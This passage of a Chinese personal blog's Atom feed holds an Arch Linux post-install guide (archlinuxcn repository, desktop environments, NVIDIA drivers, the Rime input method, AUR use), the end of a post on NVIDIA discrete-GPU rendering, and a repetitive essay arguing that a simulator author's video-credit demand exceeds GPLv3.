href="#重启"><span>#</span></a></h3><p>重新启动后，应该能够进入DM和桌面。在终端中执行<code>nvidia-smi</code>，应该能够发现所有的GUI进程都由Nvidia显卡渲染，并且<code>Xorg</code>占用数百兆内存。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pAzziIx.5xb95dsfls.png" alt="pAzziIx.png" /><figcaption>pAzziIx.png</figcaption></figure><p></p></section></section>
<section><h2>效果<a href="#效果"><span>#</span></a></h2><p>在进行上文的步骤后，我立刻打开Minecraft，按下F3查看渲染模式，发现已经切换到了Nvidia显卡渲染，游戏画面立刻变得流畅，帧数也上去了。（请选择你的拍屏大师.png）</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pAzzVzD.2a5phuws5v.jpg" alt="pAzzVzD.jpg" /><figcaption>pAzzVzD.jpg</figcaption></figure><p></p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lingxi9374.top/posts/%E6%95%99%E7%A8%8B/archconfiguration/</id>
      <title type="text">Arch Linux 安装后配置（可能也会更新）</title>
      <published>2024-12-21T00:00:00.000Z</published>
      <updated>2024-12-21T00:00:00.000Z</updated>
      <author><name>泠熙_LingXi_</name></author>
      <link rel="alternate" href="https://blog.lingxi9374.top/posts/%E6%95%99%E7%A8%8B/archconfiguration/"/>
      <summary type="text">讲述安装Arch Linux后，需要干什么</summary>
      <content type="html"><![CDATA[<section><h2>前言<a href="#前言"><span>#</span></a></h2><p>自上一篇博文写完之后，我就想补充一下安装完系统后要干什么了，因为学业原因拖到这时候写，实在不好意思（</p><p>没看过上一篇博文的朋友可以点击<a href="https://lingxi9374.github.io/posts/%E6%95%99%E7%A8%8B/archinst/" target="_blank">这里</a>查看。</p></section>
<section><h2>第一件事<a href="#第一件事"><span>#</span></a></h2><section><h3>1. 安装Fastfetch<a href="#1-安装fastfetch"><span>#</span></a></h3><p><code>Fastfetch</code>是一个用于快速获取系统信息的工具，可以帮助你快速了解系统的配置信息。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>pacman</span><span> </span><span>-S</span><span> </span><span>fastfetch</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>执行<code>fastfetch</code>命令，即可看到系统配置信息。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pAXikBn.8hh3i0on21.png" alt="终端显示 fastfetch 信息" /><figcaption>终端显示 fastfetch 信息</figcaption></figure><p></p></section><section><h3>2. 添加archlinuxcn仓库<a href="#2-添加archlinuxcn仓库"><span>#</span></a></h3><div><div><div></div><div>Caution</div></div><div><ol>
<li>
<p>archlinuxcn 社区源的 keyring 包 archlinuxcn-keyring 由 farseerfc 的 key 签署验证，而 Arch Linux 官方 keyring 中包含了 farseerfc 的 key 。自12月初 archlinux-keyring 中删除了一个退任的 master key 导致 farseerfc 的 key 的信任数不足，由 GnuPG 的 web of trust 推算为 marginal trust，从而不再能自动信任 archlinuxcn-keyring 包的签名。</p>
</li>
<li>
<p>因为上述原因，所以需要手动导入 farseerfc 的 key 到系统的 keyring 中，才能正确验证 archlinuxcn-keyring 包的签名。</p>
</li>
<li>
<p>具体请参阅<a href="https://www.archlinuxcn.org/archlinuxcn-keyring-manually-trust-farseerfc-key/" target="_blank">此链接</a></p>
</li>
</ol></div></div><p><code>Archlinuxcn仓库</code>是Arch Linux中文社区维护的仓库，里面有一些常用的软件包，可以提高Arch Linux中文用户的使用体验。</p><p>编辑<code>/etc/pacman.conf</code>文件，在文件末尾添加以下内容：</p><div><figure><figcaption><span>/etc/pacman.conf</span></figcaption><pre><code><div><div><div>1</div></div><div><span>[</span><span>archlinuxcn</span><span>]</span></div></div><div><div><div>2</div></div><div><span>Server</span><span> </span><span>=</span><span> </span><span>https://mirrors.tuna.tsinghua.edu.cn/archlinuxcn/</span><span>$arch</span></div></div><div><div><div>3</div></div><div><span>Server</span><span> </span><span>=</span><span> </span><span>https://mirrors.ustc.edu.cn/archlinuxcn/</span><span>$arch</span></div></div><div><div><div>4</div></div><div><span>Server</span><span> </span><span>=</span><span> </span><span>https://mirrors.bfsu.edu.cn/archlinuxcn/</span><span>$arch</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>之后执行以下命令添加farseerfc的key到系统的keyring中并更新软件源：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>pacman-key</span><span> </span><span>--lsign-key</span><span> </span><span>"</span><span>farseerfc@archlinux.org</span><span>"</span></div></div><div><div><div>2</div></div><div><span>sudo</span><span> </span><span>pacman</span><span> </span><span>-Sy</span><span> </span><span>archlinuxcn-keyring</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3. 安装yay<a href="#3-安装yay"><span>#</span></a></h3><div><div><div></div><div>Important</div></div><div><p>Arch Linux官方仓库中并没有yay，因此没有添加archlinuxcn源来安装yay很麻烦，需要git clone yay仓库到本地，然后手动编译安装。上文已经给出添加archlinuxcn源的方法，可以直接安装。</p></div></div><p><code>yay</code>是一个AUR包管理器，可以帮助你更方便地安装Arch Linux软件。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>pacman</span><span> </span><span>-S</span><span> </span><span>yay</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>4. 安装Xorg<a href="#4-安装xorg"><span>#</span></a></h3><p><code>Xorg</code>是Arch Linux官方支持的开源显示服务器，可以让你在Linux上运行图形界面程序。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>pacman</span><span> </span><span>-S</span><span> </span><span>xorg</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>
<section><h2>第二件事<a href="#第二件事"><span>#</span></a></h2><section><h3>1. 安装桌面环境<a href="#1-安装桌面环境"><span>#</span></a></h3><p>Arch Linux官方仓库中有很多桌面环境，你可以根据自己的喜好安装。</p><p>KDE Plasma:</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>pacman</span><span> </span><span>-S</span><span> </span><span>plasma-meta</span><span> </span><span>konsole</span><span> </span><span>dolphin</span><span> </span><span>kate</span><span> </span><span>sddm</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>GNOME:</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>pacman</span><span> </span><span>-S</span><span> </span><span>gnome</span><span> </span><span>gnome-extra</span><span> </span><span>gnome-tweaks</span><span> </span><span>gnome-shell</span><span> </span><span>seahorse</span><span> </span><span>nautilus</span><span> </span><span>nautlius-sendto</span><span> </span><span>gnome-nettool</span><span> </span><span>gnome-usage</span><span> </span><span>gnome-multi-writer</span><span> </span><span>fwupd</span><span> </span><span>adwaita-icon-theme</span><span> </span><span>xdg-user-dirs-gtk</span><span> </span><span>gdm</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>XFCE:</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>pacman</span><span> </span><span>-S</span><span> </span><span>xfce4</span><span> </span><span>xfce4-goodies</span><span> </span><span>sddm</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>记得把对应的<code>登录管理器</code>添加到启动项中。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>systemctl</span><span> </span><span>enable</span><span> </span><span>sddm.service</span></div></div><div><div><div>2</div></div><div><span>## 或者</span></div></div><div><div><div>3</div></div><div><span>sudo</span><span> </span><span>systemctl</span><span> </span><span>enable</span><span> </span><span>gdm.service</span></div></div><div><div><div>4</div></div><div><span>## 重启以生效</span></div></div><div><div><div>5</div></div><div><span>reboot</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>重启后记得桌面环境设置中文，每个桌面环境都有自己的设置方法，请自行查找（XFCE桌面需要编辑<code>/etc/locale.conf</code>更改为<code>LANG=zh_CN.UTF-8</code>以启用中文支持）。</p></section><section><h3>2. 安装中文字体<a href="#2-安装中文字体"><span>#</span></a></h3><p>Arch Linux官方仓库中有很多中文字体，你可以根据自己的喜好安装。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>pacman</span><span> </span><span>-S</span><span> </span><span>ttf-dejavu</span><span> </span><span>noto-fonts</span><span> </span><span>wqy-microhei</span><span> </span><span>wqy-zenhei</span><span> </span><span>noto-fonts-cjk</span><span> </span><span>noto-fonts-emoji</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3. 安装常用软件<a href="#3-安装常用软件"><span>#</span></a></h3><p>Arch Linux官方仓库中有很多常用软件，你可以根据自己的需要安装。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>pacman</span><span> </span><span>-S</span><span> </span><span>firefox</span><span> </span><span>git</span><span> </span><span>curl</span><span> </span><span>wget</span><span> </span><span>zip</span><span> </span><span>unzip</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>
<section><h2>第三件事<a href="#第三件事"><span>#</span></a></h2><section><h3>1. 安装显卡驱动（以NVIDIA为例）<a href="#1-安装显卡驱动以nvidia为例"><span>#</span></a></h3><div><div><div></div><div>Caution</div></div><div><p>安装NVIDIA显卡驱动这步骤稍微复杂，特别需要注意，只要错了一步就从头再来。</p><p>如果你是虚拟机，那就没必要安装驱动了，用nouveau罢 （因为实体机才需要安装显卡驱动）</p><p>此步骤参考网站：<a href="https://blog.groveer.com/blog/archlinux-install-nvidia" target="_blank">点我</a></p></div></div><p>首先，确认你的显卡型号，在终端中输入<code>lspci | grep -i nvidia</code>命令，如果有输出，说明你的显卡是NVIDIA的。</p><p>然后，安装NVIDIA驱动（以我的电脑是搭载了MX450的笔记本为例，其他型号显卡需要调整一下命令）（注意安装的时候会等待很久，别急）。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>pacman</span><span> </span><span>-S</span><span> </span><span>egl-gbm</span><span> </span><span>egl-wayland</span><span> </span><span>libvdpau</span><span> </span><span>libxnvctrl</span><span> </span><span>nvidia-dkms</span><span> </span><span>nvidia-prime</span><span> </span><span>nvidia-utils</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>编辑initramfs配置文件<code>/etc/mkinitcpio.conf</code>，在<code>MODULES</code>字段里添加以下内容：</p><div><figure><figcaption><span>/etc/mkinitcpio.conf</span></figcaption><pre><code><div><div><div>1</div></div><div><span>MODULES</span><span>=(</span><span>...</span><span> </span><span>nvidia</span><span> </span><span>nvidia_modeset</span><span> </span><span>nvidia_uvm</span><span> </span><span>nvidia_drm...</span><span>)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>生成新的initramfs：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>mkinitcpio</span><span> </span><span>-P</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /><p>配置内核启动参数，编辑grub配置文件<code>/etc/default/grub</code>，在<code>GRUB_CMDLINE_LINUX</code>字段里添加以下内容：</p><div><figure><figcaption><span>/etc/default/grub</span></figcaption><pre><code><div><div><div>1</div></div><div><span>GRUB_CMDLINE_LINUX</span><span>=</span><span>"</span><span>... ibt=off nvidia-drm.modeset=1</span><span>"</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>ibt=off</code>参数是为了防止新的硬件导致无法开机问题，此问题在11代以上 Intel CPU 出现，参考<a href="https://wiki.archlinux.org/title/NVIDIA#Installation" target="_blank">这里</a></p><p>重新生成grub配置文件：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>grub-mkconfig</span><span> </span><span>-o</span><span> </span><span>/boot/grub/grub.cfg</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>适配待机唤醒：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>systemctl</span><span> </span><span>enable</span><span> </span><span>nvidia-suspend.service</span><span> </span><span>nvidia-hibernate.service</span><span> </span><span>nvidia-resume.service</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>重启电脑后检查，输入<code>nvidia-smi</code>命令，如果有输出，说明驱动安装成功。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pAXivr9.6bhow8x2i8.png" alt="终端显示 nvidia-smi 输出" /><figcaption>终端显示 nvidia-smi 输出</figcaption></figure><p></p></section><section><h3>2. 开启独显直连<a href="#2-开启独显直连"><span>#</span></a></h3><p>敬请参阅这篇文章：<a href="https://blog.lingxi9374.top/posts/%E6%95%99%E7%A8%8B/arch-nvidia/">Arch Linux 启用独显直连(NVIDIA)</a></p></section></section>
<section><h2>第四件事<a href="#第四件事"><span>#</span></a></h2><section><h3>1. 安装中文输入法（雾凇拼音）<a href="#1-安装中文输入法雾凇拼音"><span>#</span></a></h3><div><div><div></div><div>Important</div></div><div><p>参考网站：<a href="https://sspai.com/post/89281" target="_blank">点我</a></p></div></div><p>Arch Linux官方仓库中有很多中文输入法，你可以根据自己的喜好安装。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>pacman</span><span> </span><span>-S</span><span> </span><span>fcitx5</span><span> </span><span>fcitx5-gtk</span><span> </span><span>fcitx5-qt</span><span> </span><span>fcitx5-configtool</span><span> </span><span>fcitx5-material-color</span><span> </span><span>fcitx5-rime</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>安装完成后，在终端里运行<code>fcitx5-configtool</code>（或在应用程序启动器中检索「Fcitx」关键字），打开 <code>Fcitx 设置工具</code>。然后，在右侧的<code>「可用输入法」</code>中找到 <code>RIME</code>，双击它，以将其添加到<code>「当前输入法」</code>列表。</p><p>最后，在系统托盘右击<code> Fcitx 图标</code>（通常显示为键盘图案，或者是一只小企鹅），选择<code>「RIME」</code>，这样就成功激活了。</p><p>使用 Git 来下载东风破工具，假设把工具下载到当前用户的主目录下：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>git</span><span> </span><span>clone</span><span> </span><span>--depth</span><span> </span><span>1</span><span> </span><span>https://github.com/rime/plum</span><span> </span><span>~/plum</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>然后，运行以下命令安装雾凇拼音：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 切换到东风破的目录</span></div></div><div><div><div>2</div></div><div><span>cd</span><span> </span><span>~/plum</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 我们使用的是Fcitx5，需要加入参数，让东风破把配置文件写到正确的位置</span></div></div><div><div><div>5</div></div><div><span>rime_frontend</span><span>=</span><span>fcitx5-rime</span><span> </span><span>bash</span><span> </span><span>rime-install</span><span> </span><span>iDvel/rime-ice:others/recipes/full</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>稍等片刻，雾凇拼音输入方案就安装成功了。</p><p>如何激活：接下来，只需要按「Ctrl+」快捷键（其中，「」键位于 Tab 键的正上方），打开 RIME 的输入方案选择菜单：</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pAXisEt.7axs9ezx1p.webp" alt="RIME 方案候选框" /><figcaption>RIME 方案候选框</figcaption></figure><p></p><p>然后，按下相应的数字键（或直接点击），选择「雾凇拼音」，那么雾凇拼音将正式激活，你可以畅快地打字了！</p></section></section>
<section><h2>第五件事<a href="#第五件事"><span>#</span></a></h2><section><h3>1. 配置hosts文件<a href="#1-配置hosts文件"><span>#</span></a></h3><div><div><div></div><div>Warning</div></div><div><p>由于许多国外网站(如 Github, Gitlab, freedesktop.org 等)因大陆运营商的 SNI 阻断，该方法失效，建议使用 AUR 安装 throne, Clash Party 等科学上网软件。</p></div></div><p>由于我们日常使用Arch Linux过程中，往往都需要与Github打交道，但很多时候终端执行一些命令时总是连不上，因此，我们需要配置hosts文件。</p><p>这里我推荐Github Hosts项目：</p><a href="https://github.com/maxiaof/github-hosts" target="_blank"><div><div><div><div></div><div>maxiaof</div></div><div>/</div><div>github-hosts</div></div><div></div></div><div>通过修改Hosts解决国内Github经常抽风访问不到,每日更新</div><div><div>—</div><div>—</div><div>NOASSERTION</div><span>Java</span></div></a><p>根据项目说明，我们可以将项目中的内容复制到hosts文件中（具体你们自己操作）。</p><p>激活生效：我们重启网络</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>systemctl</span><span> </span><span>restart</span><span> </span><span>NetworkManager.service</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这样，我们就减少了很多麻烦，终端执行命令时，可以顺利连接到Github。</p></section><section><h3>2. 使用AUR安装软件<a href="#2-使用aur安装软件"><span>#</span></a></h3><p>我们将使用上文提到的<code>yay</code>来安装软件，以下是安装软件格式：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>yay</span><span> </span><span>-S</span><span> </span><span>&lt;软件名&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>我的常用软件：</p><ul>
<li><code>linuxqq</code>: QQ聊天（基于ntqq内核的新版QQ）</li>
<li><code>visual-studio-code-bin</code>: VSCode编辑器</li>
<li><code>throne</code>: 科学上网软件（基于sing-box和xray-core）</li>
<li><code>teamviewer</code>：TeamViewer远程控制软件</li>
<li>more and more…</li>
</ul></section></section>
<section><h2>后记<a href="#后记"><span>#</span></a></h2><p>至此，Arch Linux安装完毕，配置完毕，可以愉快地玩耍了。</p><p>当然也有可能有不足的地方，后续将会完善这篇文章。</p><p>（The End）</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lingxi9374.top/posts/%E6%9D%82%E8%B0%88%E9%94%90%E8%AF%84/lichunzhen/</id>
      <title type="text">音游圈皇帝的版权要求是否合理？</title>
      <published>2024-11-17T00:00:00.000Z</published>
      <updated>2024-11-17T00:00:00.000Z</updated>
      <author><name>泠熙_LingXi_</name></author>
      <link rel="alternate" href="https://blog.lingxi9374.top/posts/%E6%9D%82%E8%B0%88%E9%94%90%E8%AF%84/lichunzhen/"/>
      <summary type="text">根据GPLv3许可证分析lchzh3473的版权要求及其行为是否合理。</summary>
      <content type="html"><![CDATA[<section><h1><strong># 1. GPLv3 许可证概述</strong><a href="#-1-gplv3-许可证概述"><span>#</span></a></h1><section><h2>## 1.1 GPLv3 的核心精神与基本权利<a href="#-11-gplv3-的核心精神与基本权利"><span>#</span></a></h2><p>GNU通用公共许可证第三版（GPLv3）是一种被广泛认可的开源许可证，其核心精神在于保障软件用户的自由。这些自由包括使用、修改、分享以及分享修改后的软件。GPLv3通过明确规定这些基本权利，确保了软件的自由性质得以维护。</p></section><section><h2>## 1.2 GPLv3 下的用户权利与输出内容<a href="#-12-gplv3-下的用户权利与输出内容"><span>#</span></a></h2><p>根据GPLv3的规定，用户有权不受限制地运行未修改的程序。这意味着用户可以自由地使用软件，而不受任何额外约束。GPLv3还明确指出，用户运行受保护作品所产生的输出，只有在输出内容本身构成受保护的作品时，才受到GPLv3的约束。这一规定意味着，如果用户在使用软件过程中产生了新的创作，这些创作是否受到GPLv3的约束，取决于这些创作是否构成了新的受保护作品。</p><p> </p></section><section><h2>## 1.3 lchzh3473 的要求与GPLv3的兼容性分析<a href="#-13-lchzh3473-的要求与gplv3的兼容性分析"><span>#</span></a></h2><p>lchzh3473要求游玩者在发布视频时必须标注作者名字，这一要求在GPLv3的框架下并不完全符合。GPLv3并未明确规定用户在使用软件时必须标注作者名字，尤其是在输出内容不构成受保护作品的情况下。GPLv3的主要关注点在于软件本身的自由流通和修改，而不涉及对用户使用软件过程中产生的衍生作品（如视频）的具体要求。</p><p> </p></section><section><h2>## 1.4 GPLv3 对于标注署名的要求<a href="#-14-gplv3-对于标注署名的要求"><span>#</span></a></h2><p>GPLv3确实强调了对原作者署名权的尊重，但这主要针对软件本身的分发。在软件分发过程中，必须包含版权声明和GPLv3许可证的副本，以及任何必要的无担保声明。然而，这并不意味着用户在使用软件产生的输出（如视频内容）必须标注软件作者的名字。用户在使用软件时产生的新作品，尤其是当这些作品不直接涉及软件本身的分发时，并不强制要求标注原作者名字。</p><p> </p></section><section><h2>## 1.5 结论<a href="#-15-结论"><span>#</span></a></h2><p>综上所述，GPLv3许可证的核心在于保障软件的自由使用和分发，而不直接涉及用户在使用软件过程中产生的衍生作品的标注要求。lchzh3473的要求与GPLv3的精神和规定存在不一致之处，尤其是在强制标注作者名字这一方面。GPLv3更注重软件本身的自由流通，而不是对用户使用软件产生的输出内容进行限制。</p><div>
   <img alt="Base64 Image" />
</div></section></section>
<section><h1><strong># 2. lchzh3473 sim-phi 模拟器与 GPLv3</strong><a href="#-2-lchzh3473-sim-phi-模拟器与-gplv3"><span>#</span></a></h1><section><h2>## 2.1 GPLv3 许可证下的自由软件定义<a href="#-21-gplv3-许可证下的自由软件定义"><span>#</span></a></h2><p>GPLv3 许可证对自由软件的定义是明确的，它保障了用户四项基本自由：使用、修改、分享软件以及分享修改后的软件。sim-phi模拟器作为一款遵循GPLv3许可证发布的软件，自然也遵循这些自由原则。这意味着用户可以自由地运行sim-phi模拟器，不受任何限制，除非他们的使用方式违反了GPLv3的其他规定。</p><p> </p></section><section><h2>## 2.2 GPLv3 对输出内容的约束<a href="#-22-gplv3-对输出内容的约束"><span>#</span></a></h2><p>GPLv3 对于软件输出内容的约束是有条件的。具体来说，用户在使用软件时产生的输出，只有当这些输出内容本身构成受版权保护的作品时，才会受到GPLv3的约束。如果输出内容不构成受保护的作品，例如个人的游戏录像，那么这些内容不受GPLv3的直接约束。</p><p> </p></section><section><h2>## 2.3 lchzh3473 的署名要求与 GPLv3 的冲突<a href="#-23-lchzh3473-的署名要求与-gplv3-的冲突"><span>#</span></a></h2><p>lchzh3473 要求用户在发布sim-phi模拟器游玩视频时必须标注作者名字，这一要求与GPLv3的精神和规定存在冲突。GPLv3并未要求用户在使用软件时必须对产生的输出内容进行署名，尤其是当这些输出内容不涉及软件本身的分发和复制时。因此，lchzh3473 的这一要求超出了GPLv3所规定的范围。</p><p> </p></section><section><h2>## 2.4 GPLv3 对软件分发的署名要求<a href="#-24-gplv3-对软件分发的署名要求"><span>#</span></a></h2><p>GPLv3确实要求在软件分发过程中尊重原作者的署名权。这意味着在分发软件时，必须包含版权声明和GPLv3许可证的副本，以及任何必要的无担保声明。然而，这并不适用于用户在使用软件过程中产生的输出内容，如游戏录像。用户不因使用软件而产生的个人输出内容（如视频）而必须标注软件原作者的名字。</p><p> </p></section><section><h2>## 2.5 逻辑分析与结论<a href="#-25-逻辑分析与结论"><span>#</span></a></h2><p>通过对GPLv3许可证的详细分析，我们可以得出以下结论：sim-phi模拟器作为一款遵循GPLv3的自由软件，其用户有权自由地运行和修改软件，而不受额外的限制。GPLv3对输出内容的约束是有条件的，仅当输出内容构成受保护的作品时才适用。lchzh3473要求标注作者名字的做法与GPLv3的规定不符，因为GPLv3并未要求用户在使用软件产生的非软件作品（如视频）中必须标注原作者名字。因此，lchzh3473的要求与GPLv3的精神和规定存在不一致之处。</p><div>
   <img alt="Base64 Image" />
</div></section></section>
<section><h1><strong># 3. GPLv3 第二项基本权利分析</strong><a href="#-3-gplv3-第二项基本权利分析"><span>#</span></a></h1><section><h2>## 3.1 基本权利概述<a href="#-31-基本权利概述"><span>#</span></a></h2><p>GPLv3 的第二项基本权利明确了用户运行未修改程序的自由。这一权利是GPLv3保障的核心内容之一，它确保用户可以自由地使用软件，而不受除GPLv3规定外的任何限制。这一权利的确立，是GPLv3许可证精神的体现，即软件自由使用、分享和修改。</p><p> </p></section><section><h2>## 3.2 输出内容与GPLv3约束<a href="#-32-输出内容与gplv3约束"><span>#</span></a></h2><p>GPLv3 对用户运行受保护作品所产生的输出内容的约束是有条件的。具体来说，只有当输出内容本身构成一个新的受保护作品时，这些输出才受到GPLv3的约束。这意味着，如果用户在使用软件过程中产生了新的创作，而这些创作并不直接涉及软件本身的版权，那么这些创作并不自动受到GPLv3的约束。</p><p> </p></section><section><h2>## 3.3 lchzh3473 的署名要求分析<a href="#-33-lchzh3473-的署名要求分析"><span>#</span></a></h2><p>lchzh3473 要求用户在发布sim-phi模拟器游玩视频时必须标注作者名字。这一要求与GPLv3的第二项基本权利存在冲突。根据GPLv3的规定，用户在使用软件时产生的输出内容，如视频录像，并不因为使用了GPLv3保护的软件而必须标注软件作者的名字。除非这些视频内容本身构成了对软件的修改或衍生作品，否则GPLv3并不要求用户在使用软件产生的输出中标注原作者。</p><p> </p></section><section><h2>## 3.4 GPLv3 对软件分发的署名要求<a href="#-34-gplv3-对软件分发的署名要求"><span>#</span></a></h2><p>GPLv3 在软件分发时确实要求尊重原作者的署名权。这意味着在分发软件时，必须包含版权声明和GPLv3许可证的副本，以及任何必要的无担保声明。然而，这一要求仅适用于软件本身的分发，而不适用于用户在使用软件过程中产生的个人输出内容，如游戏录像。</p><p> </p></section><section><h2>## 3.5 逻辑分析与结论<a href="#-35-逻辑分析与结论"><span>#</span></a></h2><p>通过对GPLv3许可证的第二项基本权利的分析，我们可以得出以下结论：sim-phi模拟器作为一款遵循GPLv3的自由软件，其用户有权自由地运行和修改软件，而不受额外的限制。GPLv3对输出内容的约束是有条件的，仅当输出内容构成受保护的作品时才适用。lchzh3473要求标注作者名字的做法与GPLv3的规定不符，因为GPLv3并未要求用户在使用软件产生的非软件作品（如视频）中必须标注原作者名字。因此，lchzh3473的要求与GPLv3的精神和规定存在不一致之处。</p><div>
   <img alt="Base64 Image" />
</div></section></section>
<section><h1><strong># 4. lchzh3473 的要求与 GPLv3 规定</strong><a href="#-4-lchzh3473-的要求与-gplv3-规定"><span>#</span></a></h1><p> </p><section><h2>## 4.1 lchzh3473 的署名要求分析<a href="#-41-lchzh3473-的署名要求分析"><span>#</span></a></h2><p>lchzh3473 对于 sim-phi 模拟器用户发布视频时的署名要求，基于GPLv3的条款进行分析，显得并不合理。GPLv3的核心在于保护软件本身的自由流通，而非控制用户使用软件后产生的衍生内容。根据GPLv3第二项基本权利，用户运行未修改的程序是不受限制的，且输出内容只有在构成受保护作品时才受到GPLv3的约束。因此，lchzh3473 的署名要求超出了GPLv3所规定的范围。</p><p> </p></section><section><h2>## 4.2 GPLv3 对软件使用和分发的规定<a href="#-42-gplv3-对软件使用和分发的规定"><span>#</span></a></h2><p>GPLv3 明确了软件使用和分发的自由，包括用户有权运行、复制、分发、研究、修改和改进软件。在分发过程中，必须包含版权声明、许可证副本以及无担保声明。然而，这些规定仅针对软件本身的分发，并不涉及用户在使用软件过程中产生的衍生作品，如视频内容。因此，lchzh3473 的要求与GPLv3的原始意图不符。</p><p> </p></section><section><h2>## 4.3 GPLv3 对输出内容的约束条件<a href="#-43-gplv3-对输出内容的约束条件"><span>#</span></a></h2><p>GPLv3 对输出内容的约束是有条件的，即只有当输出内容本身构成受版权保护的作品时，才受到GPLv3的约束。在大多数情况下，用户使用软件产生的个人视频内容，如游戏录像，并不直接构成对软件本身的修改或衍生作品，因此不受GPLv3的直接约束。lchzh3473 的署名要求与GPLv3的这一精神相违背。</p><p> </p></section><section><h2>## 4.4 lchzh3473 要求与GPLv3兼容性的逻辑分析<a href="#-44-lchzh3473-要求与gplv3兼容性的逻辑分析"><span>#</span></a></h2><p>从逻辑上分析，lchzh3473 的署名要求与GPLv3的兼容性存在问题。GPLv3旨在保护软件的自由流通和使用，而不是对用户使用软件后产生的所有内容施加额外的法律要求。lchzh3473 的要求实际上是在对用户使用软件产生的输出内容施加限制，这与GPLv3的自由精神相冲突。</p><p> </p></section><section><h2>## 4.5 结论<a href="#-45-结论"><span>#</span></a></h2><p>综合上述分析，lchzh3473 对于 sim-phi 模拟器用户发布视频时的署名要求，并不符合GPLv3的规定。GPLv3保护的是软件本身的自由流通和使用，而不是对用户使用软件后产生的衍生作品进行控制。因此，lchzh3473 的要求与GPLv3的精神和规定存在不一致之处。</p><div>
   <img alt="Base64 Image" />
</div></section></section>
